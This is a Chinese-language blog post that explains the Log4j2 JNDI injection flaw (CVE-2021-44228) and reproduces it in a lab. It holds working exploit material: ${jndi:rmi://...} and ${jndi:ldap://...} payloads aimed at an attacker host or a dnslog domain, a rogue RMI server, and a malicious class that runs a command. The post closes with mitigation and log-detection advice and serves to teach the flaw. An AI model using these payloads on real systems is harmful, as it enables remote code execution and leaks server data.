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Log4J2漏洞（CVE-2021-44228）原理

发布时间 2023-10-28 10:41:57作者: 疯癫兄

Log4J2漏洞（CVE-2021-44228）原理

一、漏洞简介

Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发 者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏 洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能，导致攻击者可直接构造恶 意请求，触发远程代码执行漏洞，从而获得目标服务器权限。

漏洞适应版本：2.0 <= Apache log4j2 <=2.14.1

二、漏洞原理

了解这个漏洞首先需要一些开发的知识。

第一，啥是log4j2？

log4j2是apache下的java应用常见的开源日志库，就是一个日志记录工具，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。

第二，啥是JNDI?

JNDI，全称为Java命名和目录接口（Java Naming and Directory Interface）,是SUN公司提供的一种标准的Java命名系统接口，允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

其实就是可以让Java应用程序可以向远程服务器获取资源的接口，这也是这次利用的关键点，利用时常用的有RMI和LDAP两种服务。

好了，接下来说一下漏洞的利用过程。

首先先上我们demo的代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class Log4j2Test {
    private static  final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String username = "world";
        logger.error("hello {}",username);
    }
}

这里我们模拟Java程序段，username是写死的，此时会输出hello {username}。

img

如果我们用户的输入变成${java:os}呢？

img

可以看到，我们操作系统的一些信息被打印出来了。

这里的设计看上去就有非常大的问题，官方文档的意思是这是 log4j2 自带的一个功能。

img

其实如果按照官网上面的那几个 api 来看，其实不太严重，最多也就是日志与我们输入对不上而已，并不是会引起大的安全漏洞。

但是JNDI是可以调用lookup方法的，然后利用该方法可以让Java程序和黑客的服务器进行交互，从而造成远程代码执行漏洞。

例如我们demo中的username改成 ${jndi:rmi://192.168.174.1/Evil} ,这时候就会通过rmi下载192.167.174.1服务器上的Evil资源，并且在此时会执行该类的相关代码。

下面是模拟rmi服务器的代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //启动rmi服务 端口为1099
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        //创建资源为本机目录的EvilObj类，其中null代表本机目录，也可以指定服务器，如127.0.0.1:80绑定为本机nginx下资源
        Reference reference = new Reference("com.fdx.rmi.EvilObj", "com.fdx.rmi.EvilObj", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        //绑定资源
        registry.bind("Evil",referenceWrapper);
        System.out.println("初始化成功");
 
    }
}

Evil绑定的恶意类代码如下：

 
public class EvilObj {
    static {
        System.out.println("已被攻击");
    }
}

看到这里的黑客服务器上的恶意类会执行输出“已被攻击”的语句，我们运行黑客rmi服务器看一下效果。

img

然后运行Java程序，向黑客rmi服务器请求资源。

img

可以看到在Java程序端输出了已被攻击，这就证明了黑客构建的恶意类在远程Java程序下运行。此时我们修改恶意类代码如下：

import java.io.IOException;
 
public class EvilObj {
    static {
       try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

再次重新运行，得到如下结果：

img

计算机弹出，任意代码执行漏洞验证成功。

我在网上找了一张图，很好的描述了漏洞的触发过程：

img 远程下载服务器我们在rmi服务器代码中

Reference reference = new Reference("com.fdx.rmi.EvilObj", "com.fdx.rmi.EvilObj", null);

指定了文件下载服务器为本机目录下。

三、靶场漏洞复现

这里用的是vulhub靶场环境，靶场环境在这里不再赘述。打开之后我们得到如下img

我们发现这是apache sole的页面，它在记录日志的时候用到了log4j2的依赖从而造成漏洞。

经过查阅资料以及观察，发现在http://192.168.174.128:8983/solr/admin/cores?action=

有一个参数传入点，此时我们在DNSLog Platform获取一个子域名（vy6v8g.dnslog.cn），

然后http://192.168.174.128:8983/solr/admin/cores?action=${jndi:ldap://test.yteq4s.dnslog.cn}

发现在dnslog上面有回显，

img

然后我们访问http://192.168.174.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.yteq4s.dnslog.cn}

得到

img

出现了我们的Java版本号，证明存在log4j2漏洞，可以进一步利用。

四、总结

如何对log4j2的攻击进行防御？
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈，也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截，即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置，禁止不必要的业务访问外网，配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

5.在高版本的jdk下也不会出现漏洞。

如何排查是否受到了攻击？

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为，前面复现的过程在payload的构造中都出现了这样的字符串，这是攻击的典型标志。

漏洞原理的源码我放在了GitHub上，需要的可以自取：fengdianxiong/log4j2_demo (github.com)